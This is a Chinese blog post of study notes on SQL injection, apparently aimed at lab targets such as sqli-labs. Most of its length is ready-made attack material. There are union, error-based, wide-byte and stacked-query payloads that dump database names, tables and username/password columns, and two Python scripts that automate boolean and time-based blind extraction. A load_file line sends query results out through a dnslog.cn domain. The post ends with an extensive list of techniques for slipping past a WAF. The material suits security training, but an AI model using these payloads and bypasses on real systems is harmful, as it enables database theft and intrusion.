SQL注入笔记

1 SQL注入的原理及危害

1.1 原理

        SQL是指操作数据库数据的结构化执行代码,网站或软件的数据会与后台数据库中的数据进行交互时会采用SQL。后端会接收来自前端传递的表单数据、或者带有参数的数据包,并经过处理后拼接成SQL语句,向数据库中执行该SQL语句并接收返回值传递回前端。而SQL注入其实就是攻击者通过构造特殊SQL代码在前端提交,而由于前端、后端因未处理传递来的参数,或者处理的不到位,致使后端将该含有攻击性的恶意SQL语句发送给了数据库使之执行,从而获取数据库的信息或目标服务器的控制权,发生SQL攻击。

1.2 危害

  • 攻击者可通过SQL注入代码获取目标网站数据库的所有数据,如库名、表名、字段名等等,从而对网站用户的数据安全构成极大威胁。攻击者甚至可以将获取到的数据存储至本地,进而对数据进行非法贩卖。
  • 若目标网站存在写入权限并且未对SQL语句中的特殊代码进行任何处理,就会导致攻击者可以在网站中写入木马,从而获取目标服务器的控制权,后经过提权等操作,可以获取其最高权限。

特点:

1、广泛性
任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对从输入参数、Web表单、cookie等接受到的值进行规范性验证和检测,通常会出现SQL注入漏洞。
2、隐蔽性
SQL注入语句一般都嵌入在普通的HTTP请求中,很难与正常语句区分开,所以当前许多防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。
3、危害大
攻击者通过SQL注入获取到服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。
4、操作方便
互联网上有很多SQL注入工具,简单易学,攻击过程简单,不需要专业知识也能自如运用。

2 SQL注入的过程及种类

2.1 SQL注入的过程

  1. 第一步:SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
  2. 第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法有很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断,还可以使用特定函数来判断。
  3. 第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
  4. 第四步:查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
  5. 第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

2.2 SQL注入的种类

注释符号:

  • #...
  • --+ 或者 -- qwe(注意:"--" 后面有一个空格)
  • /*...*/

 注:+ 代表空格

SQL注入方式大致分为两类:数字型注入、字符型注入。如下所示:

数字型

?id=1 and 1=1 -- qwe  或者  ?id=1 and -1=-1 -- qwe               // 页面正常

?id=1 and 1=2 -- qwe  或者  ?id=1 and -1=-2 -- qwe               // 页面异常

即可证明存在数字型SQL注入

?id=1 or 1=1 -- qwe  或者  ?id=1 or -1=-1 -- qwe               // 页面正常

?id=1 or 1=2 -- qwe  或者  ?id=1 or -1=-2 -- qwe               // 页面异常

即可证明存在数字型SQL注入

?id=1  order by 6 -- qwe                  // 判断字段数

字符型   

?id=1' and 1=1 -- qwe  或者  ?id=1' and -1=-1 -- qwe               // 页面正常

?id=1' and 1=2 -- qwe  或者  ?id=9999' and -1=-2 -- qwe               // 页面异常

即可证明存在字符型SQL注入

?id=1' or 1=1 -- qwe  或者  ?id=1' or -1=-1 -- qwe               // 页面正常

?id=1' or 1=2 -- qwe  或者  ?id=1' or -1=-2 -- qwe               // 页面异常

即可证明存在字符型SQL注入

?id=1'  order by 6 -- qwe                  // 判断字段数

2.2.1 联合查询(显错注入)

        使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

SQL注入语句列举

数字型

// 判断回显点

?id=9 union select 1,2 -- qwe         

// 获取当前库名

?id=9 union select 1,database() -- qwe       

// 获取该库名下的表名

?id=9 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe            // 获取该库名下所有的表名

?id=9 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe            // 获取该库名下指定的表名

// 获取该库名下特定表名的字段名

?id=9 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' -- qwe            // 获取该库名下特定表名的所有字段名

?id=9 union select 1,column_name from information_schema.columns where table_name='表名' limit 0,1 -- qwe            // 获取该库名下特定表名下的指定字段名

// 获取该库名下特定表名的数据

?id=9 union select 1,group_concat(id,username,password) from 表名 -- qwe            // 获取该库名下特定表名的所有数据

字符型

   字符型与数字型原理相同,只需将数字型?id=9替换为?id=9'即可

注:

limit 0,1 (限制输出,0表示位数,1表示个数)

select user() 数据库用户名

select database() 当前数据库名

select version() 当前数据库版本信息

select @@hostname 服务器主机名

select @@basedir 数据库安装路径

select @@version_compile_os 操作系统版本信息

2.2.2 报错注入

        此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

常用报错函数

updatexml、extractvalue等等

Updatexml()函数报错注入

Updatexml()则负责修改查询到的内容

语法:updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

mysql不能出现特殊字符。会报错 (~  !  #)
updatexml(目标xml内容,xml文档路径,更新的内容)
concat(第一个字符,第二个字符)拼接字符函数
updatexml(1,concat('!',database(),1))   爆出库名

SQL注入语句列举

?id=1' and updatexml(1,'~',3) -- qwe      //  查看页面是否出现报错信息,有则证明存在报错注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- qwe    // 报错的同时显示出数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) -- qwe       // 报错的同时显示出数据库的表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),3) -- qwe       //  报错的同时显示出数据库表中的的字段名

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) -- qwe          //  报错的同时显示出数据库表中的数据,控制limit 后面的数量实现分页输出

extractvalue()函数报错注入

extractvalue()函数作用:MYSQL对XML文档数据进行查询的XPATH函数。

语法: extractvalue(xml_document, xpath_string)

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:xpath_string (xpath格式的字符串)

extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23       //爆出库名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23             //爆出表名

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23                  //爆出列名

?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23              //爆出字段

?username=aaa&password=aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),13))%23       // 用right函数,爆出右边的数据,拼接flag

2.2.3 基于布尔注入(布尔盲注)

       盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

常用函数

(1)substr()  截取字符串函数

语法:substr(str,i,j) 字符串分割,表示str的第i位后的第几个j

(2)length()   返回字符串长度

语法:length(str)

第一个参数str为字符串

(3)ascii( )    返回字符串的第一个字符的ASCII码

语法:ascii(char)

char:为一个字符

需搭配 截取函数使用

(4)left()      从字符串左边取出的指定数量的字符

str:被截取的字符串

length:截取的长度

(5)right()   从字符串右边取出的指定数量的字符

str:被截取的字符串

length:截取的长度

ASCII表:

布尔盲注语句

?id=1' and length( database() )=1 -- qwe       // 判断 database()当前数据库 的长度

?id=1' and ascii(substr(database(),1,1)) = 32 --qwe //判断数据库第一个字符ASCII码是否为32

?id=1' and ascii(substr(database(),2,1)) = 32 --qwe //判断数据库第二个字符ASCII码是否为32,以此类推

注入语句基本可以总结为以下语句:

?id=1 and ascii(substr( 查询语句 ,i,1))=n -- qwe     // 其中i 为第几个字符,n为该字符的ASCII码

//由此我们可以编写python脚本如下:

import requests

url = 'http://sqllib.com/Less-5/'

result = ""

def main(url, result):

j = 0

h = 1

while True:

    for i in range(33,127):

        # payload = f"?id=1' and ascii(substr(database(),{h},1)) = {i}  --+"   security

        # payload = f"?id=1' and length((select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()))=29 --+"

        # payload = f"?id=1' and ascii(substr((select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()),{h},1)) = {i}  --+"  emails,referers,uagents,users

        # payload = f"?id=1' and ascii(substr((select unhex(hex(group_concat(column_name))) from information_schema.columns where table_name='users'),{h},1)) = {i}  --+"  "USER,CURRENT_CONNECTIONS,TOTAL_AL_CONNECTIONS,id,username,password"

        # payload = f"?id=1' and ascii(substr((select unhex(hex(group_concat(id,username,password))) from users),{h},1)) = {i}  --+"

        response = requests.get(url=url + payload)

        if "You are in..........." in str(response.text):

            h += 1

            j = 0

            result += chr(i)

            print("INFO -- ", result)

        # print(url+payload)

        j += 1

    if j > 94:

        print("注入成功结果为:", result)

        break  

if __name__ == '__main__':

main(url,result)

2.2.4 基于时间注入(时间盲注)

   有些网站页面,在我们输入参数后,传入的参数提交后无论后端SQL语句是否正确,页面都没有任何明显的变化,这就让我们很难判断,页面是否存在注入点,并且后端也没有使用报错函数来爆出错误信息。这时我们可以使用时间盲注来通过页面的响应时间来判断是否存在输入点,并且跟进下一步的操作。

    时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,这样我们就可以一步一步的爆出我们想要的数据。

常用函数

(1)if(condition,expr1,expr2) 判断函数

判断函数,如果condition为真,则expr1,否则执行expr2,使用该函数辅助盲注判断。

(2)sleep(second) 判断函数

延迟函数,延迟second,即延迟n秒,如sleep(2),延迟2s

(3)benchmark(count,expr) 判断函数

可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的效率。

时间盲注语句

?id = 1' and if(1=1,sleep(3),1)    //  判断是否为字符型的时间盲注

id = 1"and if(1=1,sleep(3),1)      //   以下响应结果证明后面的语句没有执行,说明使用双引号没有形成闭合,所以注入类型不是双引号

由于注入语句基本为以下表达式:id = 1' and if(表达式,sleep(延时秒数),1)

//因此我们可以编写时间盲注python脚本

import requests

import time

url = 'http://sqllab.com/Less-5/'

result = ""

def main(url, result):

j = 0

h = 1

while True:

    for i in range(33,127):

        payload = f"?id=1' and if(ascii(substr(database(),{h},1))= {i},sleep(2),1) -- qwe"

        # payload = f"?id=1' and if(length((select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()))=29,sleep(2),1) --+"

        # payload = f"?id=1' and if(ascii(substr((select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()),{h},1)) = {i},sleep(2),1)  --+"

        # payload = f"?id=1' and if(ascii(substr((select unhex(hex(group_concat(column_name))) from information_schema.columns where table_name='users'),{h},1)) = {i},sleep(2),1)  --+"

        # payload = f"?id=1' and if(ascii(substr((select unhex(hex(group_concat(id,username,password))) from users),{h},1)) = {i},sleep(2),1)  --+"

        starttime = time.time()

        requests.get(url=url + payload)

        if time.time() - starttime >= 2:

            h += 1

            j = 0

            result += chr(i)

            print("INFO -- ", result)

        j += 1

    if j > 94:

        print("注入成功结果为:", result)

        break  

if __name__ == '__main__':

main(url,result)

2.2.5 宽字节注入

   字符大小为一个字节时为窄字节,字符大小为两个及以上的字节时为宽字节。在开发网站过程中,一些程序员为了防止SQL注入,会使用反斜杠“\”对一些特殊字符进行转义。而我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠"\"。

    例如:magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

   但这样并不能阻止攻击者对目标进行渗透,由于"\"的转义后的编码为%5c,而对于那些使用GBK编码的数据库来说,会把两个字符的%df%5c认为是一个字符,即繁体字"運"。因此,宽字节注入攻击便发生了。

宽字节注入语句

?id=1%df' order by 5--+        // 查询字段的个数

?id=1%df' and 1=2 union select 1,2,3,4,5--+            // 查看页面回显位

?id=1%df' and 1=2 union select 1,2,3,4,database() --+        //    爆出当前数据库名

?id=1%df' and 1=2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+        //    爆出当前数据库下的所有表名

?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name='admin'--+                       //  爆出 admin 表下所有的字段名

?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x61646d696e--+          //   爆出 admin 表下所有的字段名。admin的所有字母的ascii码就是0x61646d696e ,其中“0x”是表示16进制。

?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)--+      //   使用limit 依次爆出 admin 表下所有的字段名。

id=1%df' and 1=2 union select 1,2,group_concat(name,password),4,5 from admin --+    //    爆出所有数据

2.2.6 HEAD注入

   由于后端可能会验证客户端信息或者通过请求头来获取客户端的一些信息,若这些信息和其他信息一起存储到数据库中,而后台没有进行相应的信息处理就会构成注入。

常见的注入利用点:

(1)User-Agent

user-agent一般指用户代理。 用户代理(User Agent,简称 UA),是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

(2)Cookie

为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)

doucument.cookie="id"+escape("171 and 1=2 union select top 3 1,title,3,4,5,6,7,8,9,10 from news order by 1 desc")

(3)Referer

指明了请求资源的来源地址,它一般应用于网络浏览器到服务器间的通信,告知服务器该请求资源的访问来源

(4)X-forwarded-for

用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

2.2.7 POST注入

    前端提交数据的时候使用的是POST方式提交的数据。其实跟GET注入没有什么本质上的区别,无非就是提交数据的方式改变了,而注入的技巧思路都是一样的。

2.2.8 偏移注入 (access数据库)

    access数据库不仅是关系型数据库,同时也是文件型数据库,不需要端口号。其结构上与其他关系型数据库不同,只有表名、列名、字段名, 没有数据库名。因此,我们只能通过偏移注入姿势来渗透该类网站。

    偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下。在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。

    当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。但是如果字段名称比较奇葩,那就没办法了。

注入原理

假设一个表有6个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据

注:表名.*  意思为  该表下的所有字段

2.2.9 DNS注入

    DNS:DNS一般指域名系统。 域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。

    DNS注入就是通过构造load_file()SQL语句,向指定的域名解析系统尝试查询解析,如果查询成功,便会在该DNS服务器上留下历史记录。

secure_file_priv   选项必须为空,但是不能为null(为空的意思是可以访问任意文件,为null意思是不能访问任意文件)

常用语句:

select load_file('//文件路径')

DNS注入语句

select load_file(concat('//',(select database()),'.y7x7i.dnslog.cn'));                   // 查询表名

select load_file(concat('//',查询语句,'.y7x7i.dnslog.cn'));                   //  concat('//',查询语句,'.y7x7i.dnslog.cn')  构造域名地址,如   查询结果.y7x7i.dnslog.cn   并向该地址访问

2.2.10 堆叠注入

     mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句。

常用函数

handler

一行一行的读取

//打开表
handler table_name open
//读取第一行
handler table_name read first或者(next)
//关闭表
handler table_name close

// 结合起来就是如下

?id=1;handler FlagHere open;handler FlagHere read next;handler FlagHere close;-- +

3 WAF与SQL注入过滤与绕过

3.1 WAF原理

    WAF 工作方式是对接收到的数据包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的 WAF,需要每天都及时更新最新的漏洞库。

3.1.1 WAF的分类

    WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。

3.1.2 Waf 工作过程:

  1. 解析 HTTP 请求:对接收到数据请求流量时会先判断是否为 HTTP/HTTPS 请求,之后会查看此 URL 请求是否在白名单之内,如果该 URL 请求在白名单列表里,直接交给后端 Web 服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。
  2. 匹配规则:解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。
  3. 防御动作:如果符合规则则交给后端 Web 服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。

3.1.3 绕过方式

1)编码绕过

    绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。

  • URL编码
  • 二次URL编码
  • 其他编码:除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。

2)字母大小写转换绕过

3)空格过滤绕过

  • 允许的空白符
数据库类型允许的空白符
SQLite30A,0D,0C,09,20
MYSQL509,0A,0B,0C,0D,A0,20
PosgresSQL0A,0D,0C,09,20
Oracle 11g00,0A,0D,0C,09,20
MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • 使用‘+’替换空格绕过
  • 使用注释符/**/替换空格绕过

4)双关键字绕过
    部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。

5)内联注释绕过
    在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了惊叹号(/*!50001sleep(3)*/),那么此注释里的语句将被执行。

6)请求方式差异规则松懈性绕过
    有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。

7)异常Method绕过
    有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。

8)超大数据包绕过
    部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测

9)复参数绕过
   在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。

10)添加%绕过过滤
   将WAF中过滤的敏感字符通过添加%绕过过滤。

11)协议未覆盖绕过

    以下四种常见的content-type类型:

  • Content-Type:multipart/form-data;
  • Content-Type:application/x-www-form-urlencoded
  • Content-Type: text/xml
  • Content-Type: application/json

12)宽字节绕过
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。

13)%00截断
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。

14) Cookie/X-Forwarded-For注入绕过
部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

15)利用pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

16)利用分块编码传输绕过
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。

17)冷门函数/字符/运算符绕过

  • floor() ==>  updatexml(),extractvalue()
  • Substring() ==>  Mid(),Substr(),Lpad(),Rpad(),Left()
  • concat() ==>  concat_ws(),group_concat()
  • limit 0,1  ==>  limit1 offset 0
  • and  ==> &&
  • or  ==> ||
  • = ==>  <,>
  • = ==>  like
  • Sleep()  ==> benchmark()

3.2 SQL注入的过滤及绕过

3.2.1 空格过滤绕过

  • 多空格替代
  • 用TAB代替空格
  • %a0=空格
  • 若括号没被过滤可以使用括号进行过滤
  • %0B绕过

3.2.2 特定字符过滤绕过

  • 大小写绕过
  • 编码绕过
  • 注释绕过   如: /*str*/     U/**/nion        内联注释/!union/
  • 特殊符号绕过    如:and=&&,or=||
  • 双写绕过     如:and=anandd

3.2.3 #或--+过滤绕过

  • 单双引号闭合
  • ("")或('') 闭合  
  • or  '1'='1 闭合  或者  and  '1'='1

3.2.4 等号过滤绕过

  • 比较符号替代法     用  >  或< 替代等号
  • like替代  

3.2.5 函数过滤绕过

  • 用相同功能函数替换   如substring() 替代为  mid()

  • 各类编码绕过

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一条小龍龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值